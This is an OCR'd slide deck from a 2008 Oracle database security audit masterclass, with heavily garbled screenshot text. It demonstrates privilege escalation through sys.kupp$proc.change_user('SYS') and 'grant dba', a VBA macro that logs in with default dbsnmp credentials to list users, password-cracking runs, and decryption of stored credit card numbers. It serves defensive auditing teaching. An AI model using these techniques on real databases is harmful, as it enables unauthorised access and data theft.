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PeteFinnigan.com Limited
 Founded February 2003

« CEO Pete Finnigan

e Clients UK, States, Europe

* Specialists in researching and securing Oracle
databases providing consultancy and training

e http://www.petefinnigan.com
o Author of Oracle security step-by-step

 Published many papers, regular speaker (UK,
USA, Slovenia, Norway, Iceland and more)

e Member of the Oak Table Network
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e Part 1 - Background
— Oracle security information
— How databases can be breached
— Tools used to audit a database

e Part 2 - Detalled investigations
— User detalls and tips
— Credit Cards — Data access
— Operating system access
e Part 3 — Wrapping Up
— Conclusions
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| have given this masterclass for the last two years
— [Year 1] - Overview of everything in Oracle security

— [Year 2] - Overview of everything needed to perform
an Oracle database security audit

e This year is something different

— | want to cover some background “glue” but | also
want to delve into around 4 / 5 specific areas and look
In more depth.

— The focus is “how easy it is to steal” [2 examples]
and “how easy it is to not secure properly” [3
examples]

— And; we are going to try quite a few demos!

12/12/2008 Copyright (c) 2008 4
PeteFinnigan.com Limited



 What do | want to achieve today

— | want you to “grasp” some of the basic ideas behind
securing an Oracle database — | will say what they
are at the end BUT see if you can pick them up

 Anyone can perform an audit of an Oracle
database BUT we should get the ground rules
right and really understand why to secure and
how to secure

 Ask questions any time you would like to

e Try out some of the tools and technigues
yourself later on or now Iif you have a local
Oracle database on a laptop

12/12/2008 Copyright (c) 2008 5
PeteFinnigan.com Limited




e Securely configuring an existing Oracle
database?

e Designing a secure Oracle database system
before implementation?

e Using some of the key security features

— Audit facilities, encryption functions, RBAC, FGA,
VPD...

* Oracle security is about all of these BUT

— It is about securely storing critical / valuable data
In an Oracle database. In other words its about
securing DATA not securing the software!
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Internal attacks are shown to exceed external attacks in many
recent surveys, Delloite surveys the top 100 finance institutes

The reality is likely to be worse as surveys do not capture all details
or all companies

With Oracle databases external attacks are harder and are likely to
iInvolve

— application injection or

— Buffer Overflow or

— Protocol attacks
Internal attacks could use any method for exploitation. The issues
are why:

— True hackers gain access logically or physically

— Power users have too many privileges

— Development staff, DBA’s

— Internal staff have access already!!
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 The target is often data not the DBA role

* The exploits we are going to see first work
but stealing data iIs much more “real”

e Its easy, not rocket science, no skill

* Real theft does not require complex
techniques either

 What do you think happens in real life?
— EXxploits can be downloaded for free!
— Stealing Is easy because systems are open
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Live Demo

. CAWINDOW Shsystem 3N emd exe

=

CAWINDOW S\system 3 cmd exe - sgiplus system/oracle 1&om:]

ng ohject =»> SY¥YS_HUPPSPROC

Object type is => PACKAGE (TAB)

Privilege =» ERECUTE i=s

granted to =

Role =2 EHECUTE_CATALOG_ROLE <ADM = HWO> which iz granted to =*
Role => DBA <ADM = ¥YES» which iz granted to =>

User =3
User =3

User =3
User =3
Role =2

SY¥YE <ADM = YE&S>

SYSMAN <ADM = HO>

AR <ADM = HO>

SYRTEM

HFPROLE <ADM ="%0> yhich is granted to =3
Uszser => BB <ADM = MO>

User => AR <ADHM = THO>

User => S¥STEM <ADM = YES>»

IMP_FULL_DATABASE <ADM = HO> which is granted to =3

User =3
User =3
Hegepr =3
RoTe—=%

SY¥S CADM = YE5D>

UKEYS <ADM = HO>

IMPORTER <ADM = HWO>

DRA_CADM = HOMsbssih is granted to =3
User => 5¥5 C(HDM = YESD

Importer will work
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z CAWINDOW S\system 3 2\cmd _exe - sgiplus system/oracle 1&@orc
SQL> connect importer/importlorcl

Connected.
SQL> Bcheck

USERMAME CURR SESS SCHEM
IMPORTER IMPORTER IMPORTER IMPORTER IMPORTER
1 row selected.
SQL> select * from wuser_role_privs;
USERNAME GRANTED_ROLE ADM DEF 05_
IMPORTER IMP_FULL_DATABASE HO YES HNO

1 row selected.

SQL> select * from user_sys_privs;

no rows selected Cannot do much!

SQL> select password from sys.userd;
select password from sys.userd

E

ERROR at line 1:
ORA—-BA942: tabhle or wview does not exist

SQL>
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. CAOWINDOW S'system32%cmd _exe - sgiplus system/oracle 1&@omc]
SQL> exec sys.kuppéproc.change_user{’'S¥5'>;

PL-5QL procedure successfully completed.
SQL> OBcheck
USERNAME CURR
Privilege escalation

SQL> select name,password from sys.userS

2 where rounum<?; Data access issues

PASSWORD Downloadable from the net
CCAF4FAC1I 686G

S9L> grant dba to importer;

Grant succeeded.

S9L> connect importersimportiEorcl
Connected.

SQL>» select = from wuser_role_privs;

USERNAME GRANTED_ROLE ADM DEF

IMPORTER DBA NO YES NO
IMPORTER IMP_FULL_DATABASE NO YES NO

SQL >
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* \We are now going to demonstrate a much
more realistic case of simple data theft

e This Is more realistic because real
systems audited by us allow this to
happen — indeed we know theft using
technigues like this has happened

12/12/2008 Copyright (c) 2008 12
PeteFinnigan.com Limited



 Hacking an Oracle database to “steal”
e 15 minutes demonstration
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 Demo of connecting to the database via
MS Excel

* Most sites include standard builds allowing
this way in  EE=mEm==

Commit only if all statements succeed B
Use Oracle NLS settings -
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crosoft Visual Baﬁc-ﬁadgpﬁxﬂaﬂ&n
© File Edit View Insert Format Debug Run  Tools Add-Ins  Window Help

Create a new sheet, Add a

button, Add simple code
(Thanks Marcel-Jan -

S irms e | [tER//WWW.marcel-

Dim cnOra As ADODE.Connecticn

e jan.nl/oracle/tips/oracle tip vb

Dim UserName &As String

Dim Password As String a_html and run

5et cnOra = New ADCDB.Connection
Set rs0ra = New ADODE.Recordset

o R W - - S S
: =

Bl HEY L@

=&} VBAProject (hack_orack
&5 Microsoft Excel Objects
: Sheet1 (Sheet1)
SheetZ (Sheet2)
BH] Sheet3 (Sheet3)

db_name = "oracle hack"™
UserName = "dbsnmp"™
Password = "dbsnmp"”

"Making -an ODBEC connection according to ADO

cnbra.Open "D5SN=" + db name + ";UID=" + UserName + ";PWD=" _
& Password + ";%

rs0ra.CurscrLocation = adUseServer

'Funning a guery
rs0ra.Open "select USERNAME from S5Y5.ALL USERS", cnOra, adOpenForwardOnly

While Not rsOra.EQOF

Worksheets ("Sheetl") .Range ("A1") .End(x1Down) .Offsec (1, 0) = rsOza![UserName]
rs0ra.Movellext

Wend

rs0ra.Close

cnOra.Close
Set rsOra = Nothing
£nd Sub
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Page Layout

—2 E Use Relative References

sod |
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25 G view Code

View Add-Ins

:@ : [Cfimport
= L

= Expansion Packs 1 Expo
Source .. )

Farmulas Data Review Developer

The simple import data wizard
can also be used to get data
from Oracle with no code

o :
utyf 5 Properties

Insert Design
X Maode

Controls

'j] Run Dialog 2
XML

fe | xxx
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1

2

3 BB
4

5 ORASCAN

6 ORABLOG

7 Bl

8 PM

9 5H

10 IX

11 OE

12 SCOTT

13 GWBSYS

14 FLOWS_030000

15 APEX_PUBLIC_USER

16 FLOWS FILES

17 MGMT_VIEW

18 SYSMAN

19 WEK_TEST

20 'WKPROXY

21 WEKSYS

22 SPATIAL CSW_ADMIN_USR
23 SPATIAL WFS _ADMIN_USR
24 HR

25 MDDATA
26 OLAPSYS
27 IMDSYS
W4 b H| Sheerl

Shest2 Sheetd

i

D

1

E F G H 1 4 K L M N (@) P Q R S

Standard desktop, no command line != no access to Oracle

[T I 0

=

Ready

4 Start |[f 2 Vindows Bxplo... +| ) 6 Intsmet Explorer | B2 Windows Com._. +| ] zmm»»[g‘mmnm I__

[ T 1 5]
J E]” {4 Norton™ «Jgf?%’a%!w
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* Exploits are easy to download

— Exploit code from sites like
http://www.milwOrm.com

— Or from papers such as
http://blog.tanelpoder.com/2007//11/10/oracle-
security-all-your-dbas-are-sysdbas-and-can-
have-full-os-access/ - our example

* No real skill is needed (the code exists —
your users do not need to write or
understand it — or know Oracle)

e |nsider threat

12/12/2008 Copyright (c) 2008 17
PeteFinnigan.com Limited



e Access Is avallable to the database
e Credentials are guessable

e Default accounts have access to critical
data

 Critical data is easy to find
* Poor, weak encryption and protection used

* This is reality, this is what Oracle database
security REALLY looks like!!
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 You have to think like a hacker and be
suspicious

e Realise the ease with which data can be stolen

 Downloaded exploits are a real issue

 Breach 3 emphasises the need to block
connections to the database not developer tools
such as SQL*Plus or TOAD

 Key basic issues are a problem in real life

 The threat is to all data not “grant DBA to scott”
as often shown at conferences in examples
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 This is the number 1 Oracle security issue for
me

* A database can only be accessed if you have
three pieces of information

— The IP Address or hostname
— The Service name / SID of the database
— A valid username / password

* A database can only be accessed at the
TNS level if there Is a direct route from the
user (authorised or not) and the database

11gR1 has broken this with the default sid/service
name feature
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e At lots of sites we audit we see:

—Tnsnames.ora deployed to all servers
and desktops

— Tnsnames.ora with details of every
database

—access to servers is open (no IP
blocking)

—Guessable SID/Service name
—Weak passwords
Do not do any of these at your sites!
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* |ncorrect versions and products installed
 Unnecessary functions and features installed
 EXcessive users / schemas installed

« Elevated privileges for most database accounts
« Default and insecure configurations

« Lack of audit trails in the database

e Data often held outside the database
 Evidence of ad-hoc maintenance
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 Default database installations cause some weak
configurations

e Review all

— configuration parameters — checklists?
— File permissions
« Some examples

— No audit configuration by default (fixed in 10gR2 for new
Installs)
— No password management (fixed in 10gR2 new installs)
* In your own applications and support accounts
— Do not use default accounts
— Do not use default roles including DBA
— Do not use default passwords
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e Basic information must be to hand for
familiarisation rather than actual use

* Vulnerabllities and exploits:
— SecurityFocus — www.securityfocus.com

— MilwOrm — www.milwOrm.com

— PacketStorm — www.packetstorm.org
— FrSirt — www.frsirt.com

—NIST — http://nvd.nist.qov

— CERT - www.kb.cert.org/vulns
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e Some background information we do use!
e There are a few standalone tools available

| would start with manual queries and
toolkit of simple scripts such as:

— www.petefinnigan.com/find_all privs.sql
— www.petefinnigan.com/who _has_priv.sql
— www.petefinnigan.com/who_can_access.sql
— www.petefinnigan.com/who _has role.sql
— www.petefinnigan.com/check parameter.sql

 Hand code simple queries as well
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There are a number of good checklists to define what to
check:

CIS Benchmark -
http://www.cisecurity.org/bench oracle.html

SANS S.C.0O.R.E -
http://www.sans.org/score/oraclechecklist.php

Oracle’s own checklist -
http://www.oracle.com/technology/deploy/security/pdf/tw
p security checklist db database 20071108.pdf

DoD STIG - http://ilase.disa.mil/stigs/stig/database-stig-
v8rl.zip

Oracle Database security, audit and control features —
ISBN 1-893209-58-X
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 \WWe are going to demonstrate the 5 scripts
 Assess access to key data

e Assess who has key system privileges

« Assess who has roles

* Assess all the privileges assigned to a
user

« Assess parameter settings
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v CAWINDOW S'system32emd_exe - sgiplus systemyoracie 1

wvho_can_access: Release 1.8.3.8.8 — Production on Wed MHow 26 16:35:-82 2043
Copyright <c>» 2004 PeteFinnigan.com Limited. All »ights reserved.

HAME OF OBJECT TO CHECK [USER_OBJECTS 1
OWHER OF THE OBJECT TO CHECK [USER]
OUTPUT METHOD ScreensFile [51
FILE HAME FOR OUTPUT [priu.lﬁt}
1
]

USER%
5
5

¥Ys

OUTPUT DIRECTORY [DIRECTORY or file (A tmpl
EXCLUDE CERTAIN USERS [N
USER TO SKIP »

Checking object =» SY¥S.USERS

Object type is =» TABLE <TAB>
Privilege =» SELECT i= granted to
User =» CTHEYS <ADH = HO>
User =2» FLOWS_BA3AAAA <ADM = HNO>
User =2» OLAPSYS <ADH = HO>
User =>» WHEYS <ADH = HO>
User =2» HDE <ADH = HO»

Checklists can be used

Bl Concentrate on key data, services, OS access

http://www.petefinnigan.com/who_can_access.sq|l -
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z CAWINDOW S\system32\cmd _exe - sgiplus system/oracle

who_has_priv: Release 1.8.3.8.8 — Production on Wed MWov 26 16:48:27 28008
Copyright <c> 2884 PeteFinnigan.com Limited. All rightsz reserved.

ROLE TO CHECK [DBA1: DBA

OUTPUT METHOD ScreensFile [E]1: & Demo
FILE NAME FOR OUTPUT [priv.1st]:

OUTPUT DIRECTORY [DIRECTORY or file < tmp2

EXCLUDE CERTAIN USERS
USER TO SEIP

SY¥YS <ADM = YESD

SYSMAN CADM = NO>

AR CADM = NO>

SYSTEM (ADM = YES>

APPROLE <ADM = MOIPUD = HNO>» u:

User => BB (ADM = HNO> SQL> select grantee from dba_role_privs
Uzer =3 AA <ADH = HO>» 2 where granted_role="DBA’;

User => SYSTEM <ADM = YES>

PL/SQL procedure succeszfully completed.

For updates please visit http:r/suww.petef inni

SQL>

% rouws selected.

SQL>
1
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z CAWINDOW S'system32\cmd exe - sglplus system/oracle 1

check_parameter: Release 1.8.2.8.8 — Production on Yed Mov 26 16:45:23 2868
Copyright <c?» 2884 PeteFinnigan.com Limited. All rights reserwved.

PARAMETER TO CHECK [utl_file_dirl: os_authent_prefix
CORRECT UALUE [nuwlll:
OUTPUT METHOD ScreensFile [51:= 5§

FILE NAME FOR OUTPUT [priv.1st]1: : . :
OUTPUT DIRECTORY [DIRECTORY or file (stmp)>l: Use the checklists to identify
what to check

Investigating parameter => os_authent_prefix

os5_authent_prefix Th|S parameter Set“ng iS nOt
upe opSe ideal for instance
Default DEFAULT UALUE
Seszion modifiable FALSE
System modif iable FALSE
Modified FALSE
Adjusted FALSE
Dezscription prefix for auto—logon accounts
Update Comment

S —p——
LE R

[

value =*=x*s¥ppsS**% iz incorrect
PL/5QL procedure successfully completed.
For updates please wvisit http:A7wuww.petefinnigan.comstools.htm

SQL>

12/12/2008 Copyright (c) 2008 30
PeteFinnigan.com Limited



who_has_priv: Release 1.8.3.8.8 — Production on Wed Mov 26 16:47:57 20088
Copyright ¢c) 2884 PeteFinnigan.com Limited. All rights reserved.

PRIVILEGE T0O CHECK [SELECT ANY TABLEl: BECOME USER
QUTPUT METHOD ScreensFile [51: 8

FILE NAME FOR OUTPUT [priv.lst]:

QUTPUT DIRECTORY [DIRECTORY or file <{/tmp>

EXCLUDE CERTAIN USERS

USER TOQ SKIP

Privilege BECOME USER has

M = which is
SY¥YE8 C(ADM = YE&>
SYEHMAN (ADM = HNO>
AR (ADM = HO>
SYSTEM <ADM = YES)
APPROLE <ADHM = MNO>» which is granted to =>
Uzer =»> BB (ADM = NO>
User => AR {ADM = NO>
Uzer => SYSTEM {ADM = YES>
IMP_FULL_DATABASE <¢ADM = MWO>» vhich iz granted to =>
User => E¥S (ADM = YES>
User => WKEYS (ADHM = HO>
Role => DBA (ADM = NO> vhich is granted to =>
Uzer => 5Y¥Y5 C(ADHM = YES>
User => SYSMAN <ADM = HNO>
Uzer => AR CADM = NO>
Uzer => SYSTEHM (ADHM = YES)
Role => APPROLE <ADM = HO»} which is granted to =>
Uzer => BE (ADM = NO>
Uzer => AR (ADM = NO>
Uzer => SY¥YSETEM (ADM = YES)
DATAPUMP_IMP_FULL_DATABASE C(ADM = NHO> which iz granted t

Role => DBA {ADM = NO) vhich is granted to =>

User =5 95 CADH = YES> Use the checklists to identify

35 = HEmiaim S
USer -> SYSTEM (ADM = YES) what to check

Role => APPROLE <ADM = HNHO> which is g
User => BB <{ADM

eegeg RSl Users should not have
User => 8Y¥YS (ADH = YES> . .
’ system privileges

User => S¥S (ADM = NO

PL~-S5QL procedure successfully completed.

For updates please wvisit http://wvww.petefinnigan.comstools.htm

SQL>
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z CAWINDOW S\system 3 2\cmd _exe - sgiplus system/oracle

find_all_privs: Release 1.8.7.8.8 — Production on Yed MWov 26 16:51:23 2848
Copyright <(c?> 2884 PeteFinnigan.com Limited. All rights reserved.

NAME OF USER TO CHECK [ORCL1: ORABLOG

OUTPUT METHOD ScreensFile [£]1: 8

FILE NAME FOR OUTPUT [priv.lst]: Demo
OUTPUT DIRECTORY [DIRECTORY or file {(Atmp>1:

Uzer =» ORABLOG has been granted the following privileges

ROLE = CGOMMECT which contains =
S¥YS PRIV => CREATE SESSION grantable =3 HNO
ROLE = RESOURCE which contains =
S¥YS PRIV CREATE CLUSTER grantable => HNO
SYS PRIV CREATE INDEXETYPE grantahle =3> NO
S¥YS PRIU CREATE OPERATOR grantable => NO
S¥YS PRIV CREATE PROCEDURE grantable => MO
SYS PRIV CREATE SEQUENCE grantable => NO
S¥YS PRIU CREATE TABLE grantahle =3> HO
S¥YS PRIV CREATE TRIGGER grantahle => HNO
S¥YS PRIV CREATE TYPE grantabhle =3 NO
S¥YS PRIV => UHLIHITED TABLESPACE grantahle =3 NO
TABLE PRIV = EHECUTE object => SY¥YS.DBMS_CRYPFTO grantahle =3> HNO

PL/SQL procedure successfully completed. Use to check users and roles

For updates please wvisit http:sswvww.petefinnigan.comstools._ htm

SQL>
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e Part 2 of this masterclass

 \WWe are going to delve into three areas of
In-depth analysis of an Oracle database

e The three areas are:
— User analysis
— Access to key data — Credit cards example
— Access to services — Operating system files
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 These three areas are going to be shown

IN more depth as examples of “what to
look for”

e | want to show you the similarities in all
three areas
* | want to emphasise
— Depth
— The focus on data
— The focus on solution
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* Four types of checks

— Password=username

— Password=default password

— Password=dictionary word

— Password is too short
« Default check tools or password cracker?
« Password cracker

— http://www.petefinnigan.com/oracle password cracker.ht
m

— http://soonerorlater.hu/index.khtml?article 1d=513

— http://Iwww.red-database-
security.com/software/checkpwd.html

— http://www.toolcrypt.org/tools/orabf/orabf-v0.7.6.zip
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o )1 CR oF For this example run
ORRCLE o ORACLE ocn U G INFO: Number of crack attempts = [61791]
OB OLE oK o1 G OF INFO: Elapsed time = [4.36 Seconds]
: Dk CF INFO: Cracks per second = [14170]
ORD § ORDFLUG § ' 53 out of 60 accounts cracked in 4.3
oL - : seconds
: e U CR OF We are not trying to break in BUT trying to
g AHCE O ok G EL assessthe“ real security level”
oS ot 3 E Il See

oF CHANGE 0 1R EA http://www.petefinnigan.com/oracle_password_cracker.htm
onnscr o6 s U Gi_or Access Issue
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C:~laszlosrelease_code_crackersworaauthbf _B.2>woraauthhf —-p 11g_test2.txt -t 11ig
18g —m 5 —¢c alphanum
The number of processopss.?

Mumbher of puwds to chedk: 6BI66176
Mumbher of puwds to chkéck by thread: 368233088
Password file: 11g_jlest2._txt /) charzet: alphanum, maximum length: 5, type: 11gl1@g

Start: B End: 38231888

Start: 382330888 Enl: 68466176

Password found: SCOTT :Craldk:0RAL1G:vostok
Elpased time: 11s

Checked passwords: 1538783722

Password ~ Second: 18BwoZ0D

As you can see the password is found — running at over 1million
hashes per second on this laptop

Woraauthbf can also be used to crack from authentication sessions
Woraauthbf can be used in dictionary or brute force mode

Use it to supplement the PL/SQL based cracker

http://www.soonerorlater.hu/download/woraauthbf src 0.22.zip

http://www.soonerorlater.hu/download/woraauthbf 0.22.zip ||
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| » Shared passwords are a problem
« All privileged accounts have the
same password
* This often implies that the same
people do one job or multiple
people share passwords
o If database links exist they
possibly share the same passwords
(check dump files)
» Assess not just what you see BUT
the implications in terms of
management and administration
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Entered “oraclel” as the
password

This is what hackers would do
The sharing of passwords
often crosses layers such as

the operating system and the
application

Again consider the higher level
iIssues with this such as
management, control, change,
release etc
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Analyse users into 2
groups

Seek to reduce the
accounts (features)
installed as default
schemas —i.e. OEM,
Intelligent agent, DIP,
Samples

Analyse accounts
created by “you”. Assess
these in terms of what
should exist

i I ¢ 18
e B & I
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Test password
management

Also ensure that a
complexity function exists

Also test current audit
settings

Don'’t stop at just
collecting audit data
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e Fixing something as simple as a weak

password
e Passworo
e Passworo
e Passworo

e Passworg
e Throttling

IS not simple!

s must be cracked regularly

s must be strengthened
management must be enabled
hashes must be secured
enabled

e Audit must be enabled for connections
(don’t forget sysdba)
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e Accounts In the database installed as
defaults must be reduced

« All accounts must be analysed to assess
that they conform to the “least privilege
principal”

 All accounts must be used for one purpose

 All accounts must be linked to a person or
business owner (person as well)

e Jobs that require storage of passwords
must be secured (to not store)
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« \We are going to investigate in depth the

Issues around our credit card table seen
earlier

e Remember we were able to
— Find the table
— Read the table
— Decrypt the PAN easily

 Even these issues are only the “tip of the
iIceberg” though!

o Lets dig deeper
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e CAWINDOW S'\system32\cmd exe - sglplus system/oracle 1@orc]

who_can_access: Release 1.8.3.8.8 - Production on Fri Mov 28 16:25:13 2083
Copyright <c) 2884 PeteFinnigan.com Limited. All rights reserved.

NAME OF OBJECT TO CHECK [USER_OBJECTS1: CREDIT_CARD

OWNER OF THE OBJECT TO CHECK [USER1: ORABLOG

OUTPUT METHOD Screen/File [51: §

FILE NAME FOR OUTPUT [priv.1st]: This problem is often
OUTPUT DIRECTORY [DIRECTORY or file (/tmpdl:

EXCLUDE CERTAIN USERS [M1: seen. The developers

USER TO SKIP [TESTx1: think that everyone

Checking ohject => ORABLOG.CREDIT_CARD accesses the data via
their application.

Ohject type iz =» TABLE (TAB>
Privilege => SELECT iz granted to =) The encrypted data

Role => PUBLIC <ADM = N0 could be stolen and

PL/SQL procedure successfully completed. cracked off line

Or decrypted on-line by
any user

For updates please wvisit http://vww.petefinnigan.com/ti

5 QL
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Test who can access the credit
card crypto package

Object type iz => PACKAGE <TAB>
Privilege =» EXECUTE is granted to =*
Role =» PUBLIC <ADH = MO>

Again the same problem applies;
there is a belief that no one will

run this directly!

PLASQL procedure successfully completed.

For updates please wisit http:/Awwu.petefinnigan.constools.

EQL> get dp
select name.type.owuner
from dba dependenc1e*
vhere referenced_name in ¢'DBME_OBFUSCATIOM_TOOLKIT' . *DBMS_CRYFTO' >
and owner not in C'SY¥S'.'EYEMAN’ . FLOWS_A3000° >
L#* ppder by name desc

OUMER

W _FLOW_UTILITIES PACKAGE FLOUWS _@A308068
W _FLOW_SECURITY PACKAGE FLOUWS _@A308068
W _FLOW_ITEM PACKAGE FLOUWS _@A308068
WU _FLOW_DML PACKAGE FLOUWS _A2606008
W _FLOW_COLLECTION PACKAGE FLOUWS _A308008
U _FLOV PACKAGE FLOUS _A3688008
- PACKAGE WESYS
PACKAGE ORABLOG
SYNONYHM PUBLIC
SYNONYHM PUBLIC
PACKAGE DBSHMP
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AW INDOW S\system3Z2cmd _exe - sglplus system/oracle 1&omc]

Wow, there is not a single
interface to our credit card
data.

Each view now needs to be
checked to see which users
can access the credit card
data via these views
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z CAWINDOW S\system32cmd _exe - sglplus system/oracle 1@omc]

S3QL> zelect name.type.owner
2 from dba_dependencies
3 where referenced_name='0RABLOG_CRYFTO' ;

OUNER

ORABLOG_CRYFPTO PACKAGE BODY ORABLOG
CCDEC FUNCTION ORABLOG
CCEN FUNCTION ORABLOG

3 rows selected.

SQL>
s C:\WINDOW S\system32\cmd exe - sglplus system/oracle 1@orcl =1of x|

§ P10 0 0 1 H b 0 i HiAH -

0 He 1 1

OF OBJECT T R_OBJECTS 1t CGEN Follow the same
OUTEUT METHOD Screc : process as above

Test who can access
the functions found
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ey ey iy Wy

There are a number of issues here

The data is copied — we can check by
looking at IMPORTER.PAN

The data is again duplicated in the
recycle bin — this needs to be handled

Each table found has to be checked
for hierarchy and access

If we could not find simply as here we
would need to sample data
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Sweeping privileges are still

= YES» which is granted to =>

dangerous for our data — 33 Himan <o - ho>

an CADM = NO>

O7_dictionary_acceSSibiIity . g;%%EEE(?ﬂDEH =YE(S)§ which is granted to =3

prevents some hacks but - vpors cplser 23 GsTN capi - vES)

doeS not Stop Sweeping ) => ?ﬁ%_f«‘@gg_;nﬁgnsrs_(nnn = W0>» which is granted to =>
User -5 WKSYS CRDM = NO

data acceSS ggi: ;i lIJEEO](IEEE ingg)_uzoic):h iz granted to =>

=> 5Y¥Y% C(ADM = YEE>
SYSMAN C(ADM = NO>
af (ADM = HO>
APPROLE CADM = NoS uhich dto >
= which iz granted to =
Remember there are other liser => BB CADH = NO>
Uzer => AA CADM N>
User => EYSETEM (ADM = YES>

pnv"eges’ |NSERT’ DATAPUMP_IMP_FULL_DATABASE <ADM = MO> which is granted

Role => DBA <ADM = NO> which is granted to =>

UPDATE, DELETE... User —> SYSMAN. <ADH = NO

M
User => AR CADM = NOX>

Uzer => SYSTEM (ADM = YES>
Role => APPROLE <ADM = MO> which is granted to

Remember other privileges . (mﬁmg RGN S

still that would allow data sy <aDi = NO)

ERP_FULL_DATABASE (ADM = HO> which iz granted to =>

theft; TRIGGERS, gﬁi: :; glﬂtg:%Uﬁgggx;_ggl)..L_DﬂTﬂBﬂSE ¢ADM = NO> which is granted
EXECUTE PROCEDURE. " gg‘i: :; SD;% Eggn : =g§)uhich iz granted to =>

User => E¥5 (ADM = YES)

User =» SYSMAN (ADM = HO»

Uzer => AA CADM = HO»

Uzer => SYSTEM (ADM = YES>

Role => APPROLE <ADM = MO> which is granted to

User => BB ¢(ADM = NO>
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 The credit card data can be exposed via export,
list files or any other OS / client based resource

Pete Finniga

ARly B Rl

Axne”

Aaron Hewman

¥ "CREDIT CARD™ TO PUBLIC

DEMS STATS.S5ET TABLE STATS (NULL, '"CREDIT CARD™'

PRI —

AWNATLSTATS TR "CREDIT CARD™
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oo COAMINDOW S'system32'cmd _exe - sqgiplus system/foracle 1&orc]

get ccC

The credit cards can also

zelect =gl _id.=zgl text

from visgltext be exposed |n Shared
shers Fulyigin ¢ d h
select salid N memory and many other
where uppg;iigé:;gzze) like *'=PAMNx"> places

7+ oprder hy
2QL> »

2rn?a?dgTutpd
2rn?aPdg?utpd
2esufvzd2uk=?
2zsufuvzdZuk=7
2zsufved2uk=9?
Lhauwhj?f=ghal
Lhauwhj?f=ghal
bxn2s5Yz2wdmbh
Top?esdnkuxwot
TpYesdnkuexuut
TpYesdnkuexuut
TpYesdnkuexuut

dxnnuyd4??nhh

focezdndyl2xde
foczdndu?2xde
f7?h?njbspabgd
f7h?njbhspabgd
£f?h?n jhapabgd

22 rouws selected.

S QL>

SQL_TEXT . .

——————————————————————————————————————————————————— Privileges that allow

select =ql_text from visgltext where upperisgl_text .

select sgl_id,.sql_text From wésgltext where sgl_id acCCess to dynamlc data
1_id fr sgltext wher »(agql_text> like *=xI

g E;l_i:l?gi:ieq ext where upper(sgl_tex ike *x or meta'data mUSt be

select name_on_card,.orabhlog.orablog_crypto._decrypt]

hlog.credit_card reV|ewed
delete from opancillary® where ohji=:1

SELECT occupant_name,. occupant_desc,. schema_name .
move_procedure,. move_ procedure_desc,. space_usage_kbytes
FROM guSsysaux_occupants WHERE dinst_id = USEREMUL
*INSTAMNCE’ »
select sgl_did,sql_text From wisgltext where upper{sgl_text? like
*xPAN:’
select name_on_card,.orahlog.orablog_crypto.decryptipan? from ora
blog.credit_card where orablog.orablog_crypto.decrypt{pan>='404%
POHALLARR 731’
SELECT space_unsage_khytes FROM visyszaux_occupants WHERE occup
ant_name = ‘2QL_MAWAGEMENT _BASE'
select name_on_card.orablog.orablog_crypto.decrypt{pan? from ora
Plgg&gr?dit_pard where orablog.orablog _crypto.decrypt{pan? like
w ki
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e Securing data is not complex but we must take
care of all access paths to the data

e \WWe must consid
e \WWe must consid
e \We must consid

e \WWe must consid

e There Is more...

er the hierarchy

er sweeping privileges
er data leakage

er data replication
unfortunately...

* |n summary securing specific data (“any data”)
IS first about knowing where that data is and who
can access it and how it “flows through the

system”
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* \We are now going to investigate in depth
the Issues around accessing the operating
system

* We should now be ready for “layers” and
*hierarchy” being evident in this
Investigation

e We will look at the common interfaces and
common procedures
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v CAWINDOW S\system32\cmd exe - sglplus system/oracle 1&orc

check_parameter: Release 1.8.2.8.8 — Production on Fri WNov 28 2H:28:21 2043
Copyright <c» 2884 PeteFinnigan.com Limited. All rights reserved.

PARAMETER TO CHECK [utl file dirl: utl file dir
CORRECT UALUE

OUTPUT METHOD Screen/File

FILE NAME FOR OUTPUT 1s

OUTPUT DIRECTORY [DIRECTORY or file < /tmp)] Check for usual

“*” ({38} (11 7 N
Investigating parameter => utl_file_dir V?Mies ., IR
utl _file_dir -
/tmp dlrectorles or anything
ype ETHIHG sill
Is Default xxxSPECIFIED IN INIT.ORA y
Iz Sesszion modifiable FALSE
Iz System modifiable FALSE .
Is Modified FALSE In general this should
Iz Adjusted FALSE . -
Description utl_file accessibhle directories be setto null as itis
Update Comment ¢ system wide

value === tmp=*=*x% iz incorrect

PL-5QL procedure successfully completed.

For updates please wvisit http:/swuwuw.petefinnigan.comstools_ htm
SQL>
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. ICAMWINDOW S'system 32 cmd _exe - sgiplus systems/oracle 1@onc]
SQL>» select * from dba_directories;

DIRECTORY _NAME DIRECTORY _PATH

Sudl AappAsoraclesdiagsrdbmssorclsorclstrace

ORABLOG <home orablog

IDE_DIR SuBl.sappsoraclesdiag-rdbmssorclsorclsip

SUBDIR Sudl Aappsoraclesproduct-s11l.1.8.-.db_1-demo-schema-or
der_entry/ 2002  Sep

SMLDIR SudlsappAsoraclesproduct-s11.1.8-.db_1..demosschemasor
der_entrys

LOG_FILE_DIR Sudl Aappsoraclesproduct-s11l.1.8.-db_1/demo-schema-lo
o/

DATA_FILE_DIR Sull Aappsoraclesproduct-s1l.1.8-db_1/demosschemarssa
les_historys

MEDIA_DIR Sudl Aappsorac lesproduct-s11.1.8.-db_1/demoschema-pr
oduct_media

AUDIT_DIR Atmps
DATA_PUMP_DIR SuBl.sappsoraclesadminsorc L-dpdumps
ORACLE_OCH_CONFIG_DIR Sudl Aappsoraclesproduct-s11l.1.8-.db_1/cocrsstate

Split the directories into two groups, those created by Oracle and those added
by the customer

Look for dangerous directories, ORABLOG, UDUMP, AUDIT _DIR [default]
look useful for a hacker
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cv CAWINDOW S\system32\cmd exe - sgiplus system/oracle 1&orc]

who_can_access: Release 1.8.3.8.8 — Production on Fri Hov 28 28:37:37 2003
Copyright <c>» 2884 PeteFinnigan.com Limited. All rights reserved.

NAME OF OBJECT T0Q CHECK [USER_OBJECTS 1: ORABLOG
OUNER OF THE OBJECT TOQ CHECK [USER]: 5Y¥35
QUTPUT METHOD ScreensFile [£1: §

FILE NAME FOR OUTPUT [priv.lst]
QUTPUT DIRECTORY [DIRECTORY or file (/tmpl]
EACLUDE CERTAIN USER: [H]

USER TO SKIP WEEHE Check all directories in the same

Checking obhject =» SYS.O0RABLOG manner

Assess who can access them

Object type is => DIRECTORY (TAB)» and Wh_y

Privilege =»> READ iz granted to =3 Start with the dangerOUS

User => ORABLOG <ADM = NO> : .

User => SYSTEM <ADM = NO» directories

Privilege = WRITE iz granted to =

User => ORABLOG <ADM = NO>

User => SYSTEM <ADM = HO>

PL-5QL procedure successfully completed.

For updates please visit http:/ Avwuwu.petefinnigan.comstools . htm

SQL>
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“ ot @yostolk - /homeSorablog

[root@vostok init.d]# cd Shome/orablog
